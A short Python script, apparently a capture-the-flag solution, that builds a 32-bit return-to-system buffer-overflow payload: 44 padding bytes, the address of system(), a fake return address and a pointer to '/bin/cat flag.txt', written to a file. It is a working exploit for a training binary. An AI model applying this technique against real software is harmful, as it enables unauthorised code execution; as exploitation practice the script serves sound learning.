#!/usr/bin/python3
'''
44 Bytes till EIP overwrite
Place address of system() in EIP
Place fake return addr on stack
Place parameter to system() on stack - in this case address to "/bin/cat flag.txt"

rabin2 -z binary to find string
objdump -d binary to check for function addresses
'''

junk = b'A' * 44
system = b'\x30\x84\x04\x08'
ret = b'\x90\x90\x90\x90'
arg = b'\x30\xa0\x04\x08'

payload = junk + system + ret + arg

with open('rop.txt', 'wb') as w:
        w.write(payload)
